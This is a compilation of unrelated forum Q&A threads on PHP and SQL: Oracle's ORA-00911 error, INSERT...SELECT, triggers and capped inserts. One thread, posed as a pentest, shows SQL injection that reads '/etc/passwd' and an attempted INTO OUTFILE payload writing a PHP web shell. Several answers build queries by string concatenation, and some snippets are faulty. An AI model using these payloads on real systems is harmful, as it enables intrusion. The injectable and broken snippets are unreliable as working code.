Ive been tasked to write a simple php+oracle web reprting tool and I happen to have chanced a pretty complex query that perfectly works in SQL Developer:
SELECT 'LASTNAME, FIRSTNAME, STATUS' from dual;
with user as
(
...
..
..
..
(very long query)
and then it gives me this:
PHP Warning: oci_execute(): ORA-00911: invalid character
based on my initial investigation, it looks like PHP complains about the ';' after first line (where it says select from ... dual ;)
On the PHP side, it looks like this:
$stid = oci_parse($conn, $query);
oci_execute($stid);
where $query is the very long query:
$query = "SELECT 'LASTNAME, FIRSTNAME, STATUS' from dual;
with user as
(
...
..
..
..
I want to know if there is a way to rewrite the entire query without using the 'dual' part?
Dual table is a dummy table with an single row, single column, only data is X.
You can create you own dual table, it is just a dummy table. may be you want to repeat the result twice and create a dual2 table with two row in it. the content doesn't matter.
Related
I have two different Databases, names:
dbtest: Table 1
dbtest2: Table 2
I want to select all the data and new entries from dbtest Table 1 to dbtest2 Table 2.
I have tried this
$sqlfin = "INSERT INTO dbtest2.Table2 SELECT * FROM dbtest.Table1";
$resultfi = mysqli_query($db_conn, $sqlfin);
But no luck so far. How can I assure that new Records are insert into both table ? Any help would be appreciated?
lets try it in this format
INSERT INTO `dbtest2`.`Table2` SELECT * FROM `dbtest`.`Table1`
The following conditions hold for INSERT ... SELECT statements:
Specify IGNORE to ignore rows that would cause duplicate-key violations.
AUTO_INCREMENT columns work as usual.
To ensure that the binary log can be used to re-create the original tables, MySQL does not permit concurrent inserts for INSERT ... SELECT
statements (see Section 8.11.3, “Concurrent Inserts”).
To avoid ambiguous column reference problems when the SELECT and the INSERT refer to the same table, provide a unique alias for each
table used in the SELECT part, and qualify column names in that
part with the appropriate alias.
INSERT ... SELECT Syntax
Create Trigger: for adding new entries
CREATE TRIGGER copy_record BEFORE INSERT ON dbtest.Table1
FOR EACH ROW
BEGIN
INSERT INTO dbtest2.Table2 (first_name, last_name) VALUES (new.first_name, new.last_name);
END
trigger_event indicates the kind of operation that activates the
trigger. These trigger_event values are permitted:
INSERT: The trigger activates whenever a new row is inserted into the table; for example, through INSERT, LOAD DATA, and REPLACE
statements.
UPDATE: The trigger activates whenever a row is modified; for example, through UPDATE statements.
DELETE: The trigger activates whenever a row is deleted from the table; for example, through DELETE and REPLACE statements. DROP TABLE
and TRUNCATE TABLE statements on the table do not activate this
trigger, because they do not use DELETE. Dropping a partition does not
activate DELETE triggers, either.
CREATE TRIGGER Syntax
Try this query for your desired task :
Query First (Create Table exactly same like in old database, if you have not):
CREATE TABLE dbtest2.Table2 LIKE dbtest.Table1;
Query Second (Insert all data to newly created table) :
INSERT INTO dbtest2.Table2 SELECT * FROM dbtest.Table1;
Your query looks correct but will fail if the 2 tables have a different structure. Specify the columns to avoid it like:
INSERT INTO dbtest2.Table2 (2_col_1, 2_col_2) SELECT 1_col_1, 1_col_2 FROM dbtest.Table1
With PDO (kind of alternative answer, I don't know much for Mysqli):
You could connect to Mysql with PDO without giving a database name when working with multiple ones (but this isn't mandatory), like:
$db = new PDO( "mysql:host=" . $host . ";", $user, $password, $options );
Then write the Database names, tables and columns like when making a JOIN (as you did): separated by a .
// an example ..
$useDb = $db->query("INSERT INTO db_1.table1 (value_1, value_2) SELECT value_3, value_4 FROM db_2.table2 WHERE db_2.table2.id = 5");
(example tested and working fine)
INSERT INTO dbtest2 (
id,
name,
status )
SELECT id,
name,
'1'
FROM dbtest
ORDER BY id ASC
You can use INSERT...SELECT syntax. Note that you can quote '1' directly in the SELECT part.
Here's an interesting scenario. During a recent pentest, I came across a SQL injection inside an INSERT query. The backend code looks something like this:
$sqlquery= "INSERT INTO sometable set col1='" + $_GET['param'] + "'";
I'm able to insert arbitrary values into the file and even use a SELECT sub query to insert the contents of '/etc/passwd' to the col1 inside sometable and read it later via a completely different functionality somewhere else in the application.
$sqlquery= "INSERT INTO sometable set col1='1', (SELECT load_file('/etc/passwd'))";
The challenge is to write a file to disk using INTO OUTFILE (I have FILE privs and the document root is writable by the MySQL user - verified). It looks like MySQL does not support the following:
$sqlquery= "INSERT INTO sometable set col1='1', (SELECT 'a' INTO OUTFILE '/tmp/data.txt')";
The aim is to write a php web shell in a folder where I have write permissions. The final query that needs to be executed is this:
$sqlquery= "INSERT INTO sometable set col1='1', (SELECT '<?php system($_GET['x']) ?>' INTO OUTFILE'/var/www/app/imgupload/shell.php')";
MySQL expects data to be returned by sub-queries which is why the above statement does not seem to work since INTO OUTFILE will write data to disk instead of returning it to MySQL.
Do you think there is a workaround?
From http://dev.mysql.com/doc/refman/5.7/en/select-into.html
An INTO clause should not be used in a nested SELECT because such a
SELECT must return its result to the outer context.
So the answer is no, I think.
Also see mysql insert can't with select into outfile?
Can I copy something to an other table and also update this in the same table?
Like:
INSERT INTO 'table_new' (name) values ("thomas")
At the same time:
UPDATE 'table_old' set ChangesWereMadeAt = (the date, where the changes were made)
Can I put something in other table, while it stays also in the old table and just updates one column ?
I work with PHP/MySql
use LAST_INSERT_ID();
INSERT INTO 'table_new' (name) values ("thomas");
$last_id_inserted = LAST_INSERT_ID();
UPDATE 'table_old' SET blah='$blah' WHERE id='$last_id_inserted';
Begin by inserting your new line into your table.
Then delete the line from the first table.
And finally copy the line you inserted with this:
INSERT INTO first_table
SELECT *
FROM dues
WHERE id = 5;
Like: INSERT INTO 'table_new' (name) values ("thomas")
At the same time:
UPDATE 'table_old' set ChangesWereMadeAt = (the date, where the
changes were made)
Based on this, I'd say the solution would be to make two requests.
This means... Can I put something in an other table while it stays also in the old table and just updates one column ?
But based on this, I could give a sort of solution.
$reqSelect= 'select * from YourTable
where [insert the condition that would make you select only the data you want to copy]';
$data = mysqli_query($connection, $reqSelect);
$reqInsert='insert into YourDestinationTable(row1, row2, etc)
values('.$data[row1].', '.$data[row2].', '.$data[etc]);
mysqli_query($connection, $reqInsert);
$reqUpdate='update YourTable where [conditions here]
set TheRowYouWantToModify = '.data[TheDataYouWantInYourRow];
mysqli_query($connection, $reqUpdate);
This sounds like it would be easier to solved my a MySql trigger. There is a basic example here: Creating Triggers to add the data into Audit Table
I hope I have got the title right as I don't really know how to word this!!
Here's the background...
I have a app inserting data to a db. The db holds a date field and data field (there are others but for simplicity these two are the only ones needed). There can only be 8 entries on the same date, no more. In normal operation this is not really an issue but twice a month the database gets hit hard towards the end of the day.
The way I currently do it, is to query how many records there are for a date. If that's less than 9 I insert the data.
It has never happened yet but my concern is that request A comes in and checks the DB and finds there are 7 records. OK to insert. But before A can insert, request B comes in and finds only 7 records. OK to insert. But that would then enter 9 records on one date. This can't happen.
I think there are two solutions to this but would like to know A, if I'm right at all! or B is there a better solution.
I think...
A) I could do it in a transaction. However, would I still no encounter the same problem? As far as I am aware as long as no queries in a transaction fail then it runs anyway.
or
B) Use a stored procedure to check first then insert. I have had very little experience with stored procedures so I must admit I have no idea what I'm talking about here!
Alternatively, is there a way to get a single query to check first if there is less than 9 entries??
Many Thanks in advance,
Gavin
You are afraid of that someone would insert a new record before other one insert it even in the million second?
I have this question too, so I just searched something for you, you can do this with two ways:
For example if you have a table which named date_table and it looks like:
date_field
----------
1998-07-13
1992-03-23
1998-09-17
1994-02-30
A) Count the rows, then insert it when it's under 8 rows. (Using PHP and MySQL)
First, get how many rows are there by this:
SELECT COUNT(*) AS Num FROM date_table WHERE date_field = '1998-07-13'
so you'll get a Num field which told you how many rows were 1998-07-13,
then using PHP to prevent user insert the same date when it's equal 8 by:
<?php if($DB['Num'] >= 8) exit('Sorry, no more same value'); ?>
otherwise insert the row.
Or you don't trust PHP, or you think someone would insert the row more earlier than 1 million second
B) Insert it when it's only under 8 rows were same with only one query:
INSERT INTO date_table (date_field)
SELECT '1998-07-13'
FROM dual
WHERE (SELECT COUNT(*) FROM date_table WHERE date_field = '1998-07-13') < 9;
BEWARE: dual is a mysql system table, so you don't need to create it
If you don't understand how the above query works:
insert into TABLE_NAME (TABLE_FIELD)
select VALUE_YOU_WANT_TO_INSERT
from dual
where (select count(*)
from TABLE_NAME
where THE_FIELD_YOU_WANT_TO_CHECK = '1998-07-13'
) < LESS_THEN_HOW_MUCH;
EDIT: add more fields change the following lines:
INSERT INTO date_table (field1, field2, field3)
SELECT value1, value2, value3
Now I'm trying to search in multi table but now my problem how to know which table you got the data ??
$query="(SELECT name FROM news WHERE name like '%$SER%' )
UNION ALL
(SELECT name FROM media WHERE name like '%$SER%') ";
$res=mysql_query($query);
while($row=mysql_fetch_array($res)){
echo $row[prog]."<br>";
}
mysql_num_rows($res);
How to know the result got from which table !!!
Add an extra column
select 1 as FromTable
UNION
select 2 as FromTable;
Anything from the second select will have 2 as $row["FromTable"]
You also NEED to read about SQL injections, and use the mysqli APIs instead ideally (? saves both parsing time, escaping time and the need to escape!)